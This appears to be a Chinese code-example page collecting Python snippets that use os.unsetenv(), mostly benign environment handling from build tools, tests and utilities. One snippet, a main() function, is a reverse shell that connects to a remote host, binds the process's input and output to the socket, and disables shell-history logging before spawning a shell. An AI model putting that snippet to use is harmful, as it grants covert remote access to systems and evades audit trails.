我们从Python开源项目中,提取了以下36个代码示例,用于说明如何使用os.unsetenv()。
def unsetenv(key): """Like `os.unsetenv` but takes unicode under Windows + Python 2 Args: key (pathlike): The env var to unset """ key = path2fsn(key) if is_win: # python 3 has no unsetenv under Windows -> use our ctypes one as well try: del_windows_env_var(key) except WindowsError: pass else: os.unsetenv(key)
def process(self): if not IS_FREEBSD: if not self.crossbuild: statusUpdate("Can't build CHERIBSD on a non-FreeBSD host! Any targets that depend on this will need" " to scp the required files from another server (see --frebsd-build-server options)") return else: self.prepareFreeBSDCrossEnv() # remove any environment variables that could interfere with bmake running for k, v in os.environ.copy().items(): if k in ("MAKEFLAGS", "MFLAGS", "MAKELEVEL", "MAKE_TERMERR", "MAKE_TERMOUT"): os.unsetenv(k) del os.environ[k] if self.config.buildenv or self.config.libcheri_buildenv: target = "libcheribuildenv" if self.config.libcheri_buildenv else "buildenv" args = self.buildworldArgs args.remove_flag("-s") # buildenv should not be silent runCmd([self.makeCommand] + args.all_commandline_args + [target], env=args.env_vars, cwd=self.sourceDir) else: super().process()
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. os.putenv('_MEIPASS2', sys._MEIPASS) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '') # Second override 'Popen' class with our modified version.
def proxy_command(command, command_args, credentials): # Unset variables for sanity sake os.unsetenv('AWS_DEFAULT_PROFILE') os.unsetenv('AWS_PROFILE') os.unsetenv('AWS_ACCESS_KEY_ID') os.unsetenv('AWS_SECRET_ACCESS_KEY') os.unsetenv('AWS_SESSION_TOKEN') os.unsetenv('AWS_SECURITY_TOKEN') # Set AWS/Boto environemnt variables before executing target command os.putenv('AWS_ACCESS_KEY_ID', (credentials['AccessKeyId'])) os.putenv('AWS_SECRET_ACCESS_KEY', (credentials['SecretAccessKey'])) os.putenv('AWS_SESSION_TOKEN', (credentials['SessionToken'])) os.putenv('AWS_SECURITY_TOKEN', (credentials['SessionToken'])) command_status = os.system(command + " " + " ".join(command_args)) exit(os.WEXITSTATUS(command_status))
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. # Last character is stripped in C-loader. We have to add # '/' or '\\' at the end. os.putenv('_MEIPASS2', sys._MEIPASS + os.sep) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '')
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. os.putenv('_MEIPASS2', sys._MEIPASS) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '')
def __init__(self, scr, title="", inittext="", win_location=(0, 0), win_size=(20, 80), box=True, max_paragraphs=0, pw_mode=False, edit=True): # Fix for python curses resize bug: # http://bugs.python.org/issue2675 os.unsetenv('LINES') os.unsetenv('COLUMNS') self.scr = scr self.title_orig = title if sys.version_info.major < 3: enc = locale.getpreferredencoding() or 'utf-8' self.title_orig = str(self.title_orig, encoding=enc) inittext = str(inittext, encoding=enc) self.box = box self.max_paragraphs = max_paragraphs self.pw_mode = pw_mode self.edit = edit self.win_location_orig_y, self.win_location_orig_x = win_location self.win_size_orig_y, self.win_size_orig_x = win_size self.win_size_y = self.win_size_orig_y self.win_size_x = self.win_size_orig_x self.win_location_y = self.win_location_orig_y self.win_location_x = self.win_location_orig_x self.win_init() self.box_init() self.text_init(inittext) if self.edit is False: self.keys_init_noedit() try: curses.curs_set(0) except _curses.error: pass else: self.keys_init() curses.curs_set(1) self.display()
def t12(): pretty = '%s t12' % __file__ print(pretty) w = Workspace(uid='vcsjob-execute-t12') jobs = make_vcsjob_tree(w) os.unsetenv('PATH') exc = None try: vcsjob.execute_tags(jobs, None, ['PATH']) except Exception, e: exc = e if not exc: print( 'FAIL %s: vcsjob.fetch.run() with junk --env did not fail' % pretty ) return # check the error message if not str(exc).startswith('environment variable "PATH" is not set'): print('FAIL %s: wrong error message: %s' % (pretty, str(exc))) return w.delete() # check that correct value is returned by vcsjob.execute_single()
def restore_env_credentials(): if env_credentials: os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = env_credentials else: os.unsetenv('GOOGLE_APPLICATION_CREDENTIALS')
def empty_environment(): """ Remove all variables from the environment. """ for s in list(os.environ.keys()): os.unsetenv(s) del os.environ[s]
def machine(): """ Return machine suffix to use in directory name when looking for bootloader. PyInstaller is reported to work even on ARM architecture. For that case functions system() and architecture() are not enough. Path to bootloader has to be composed from system(), architecture() and machine() like: 'Linux-32bit-arm' """ mach = platform.machine() if mach.startswith('arm'): return 'arm' else: # Assume x86/x86_64 machine. return None # Set and get environment variables does not handle unicode strings correctly # on Windows. # Acting on os.environ instead of using getenv()/setenv()/unsetenv(), # as suggested in <http://docs.python.org/library/os.html#os.environ>: # "Calling putenv() directly does not change os.environ, so it's # better to modify os.environ." (Same for unsetenv.)
def unsetenv(name): """ Delete the environment variable 'name'. """ # Some platforms (e.g. AIX) do not support `os.unsetenv()` and # thus `del os.environ[name]` has no effect onto the real # environment. For this case we set the value to the empty string. os.environ[name] = "" del os.environ[name] # Exec commands in subprocesses.
def start_proc(self, cluster_list, cluster_state): os.environ['ETCD_INITIAL_CLUSTER'] = self.build_initial_cluster(cluster_list) if cluster_state == 'member': subprocess.call(['etcdctl', '--endpoint', self.build_endpoint(cluster_list), 'member', 'add', self.ip, os.environ['ETCD_INITIAL_ADVERTISE_PEER_URLS']]) shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True) os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'existing' os.unsetenv('ETCD_PROXY') elif cluster_state == 'bootstrap': shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True) shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True) os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'new' os.unsetenv('ETCD_PROXY') else: shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True) os.unsetenv('ETCD_INITIAL_CLUSTER_STATE') os.environ['ETCD_PROXY'] = 'on' logging.info("Starting etcd process in %s mode - %s" % (cluster_state, cluster_list)) self.etcd_proc = subprocess.Popen('/usr/local/bin/etcd') self.current_cluster_list = cluster_list self.current_cluster_state = cluster_state
def test_zk_prefix_replacement(): if os.getenv('ZOOKEEPER_PREFIX', None): os.unsetenv('ZOOKEEPER_PREFIX') assert load_config().zk_prefix == '/' os.environ['ZOOKEEPER_PREFIX'] = '/' assert load_config().zk_prefix == '/' os.environ['ZOOKEEPER_PREFIX'] = 'test' assert load_config().zk_prefix == '/test' os.environ['ZOOKEEPER_PREFIX'] = '/test' assert load_config().zk_prefix == '/test'
def tearDownModule(): ESInfo.server.shutdown() IndexSuffix.reset() os.unsetenv('DSS_ES_PORT')
def tearDownModule(): ESInfo.server.shutdown() HTTPInfo.server.shutdown() IndexSuffix.reset() os.unsetenv('DSS_ES_PORT')
def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close()
def test_07_host_env(self, mock_msg): """Test passing of host env""" if container_not_exists("busyRUN"): self.skipTest("no container") os.environ["UDOCKER_EXPORTED_VAR"] = "udocker exported var" do_run(self, mock_msg, [UDOCKER, "run", "--hostenv", "busyRUN", "/bin/env"], None, " udocker exported var") os.unsetenv("UDOCKER_EXPORTED_VAR")
def test_23_run_reg50(self, mock_msg): """Test create, ps, rm""" os.environ["UDOCKER_CONTAINERS"] = "/tmp/udocker_containers" do_action([UDOCKER, "rm", "busyTMP"]) do_run(self, mock_msg, [UDOCKER, "create", "--name=busyTMP", "busybox"], None, None) do_run(self, mock_msg, [UDOCKER, "ps"], " busyTMP", None) do_run(self, mock_msg, [UDOCKER, "ps"], "!busyRUN", None) # delete not owner (regression of #50) do_run(self, mock_msg, [UDOCKER, "rm", "busyTMP"], "!Error", None) os.unsetenv("UDOCKER_CONTAINERS")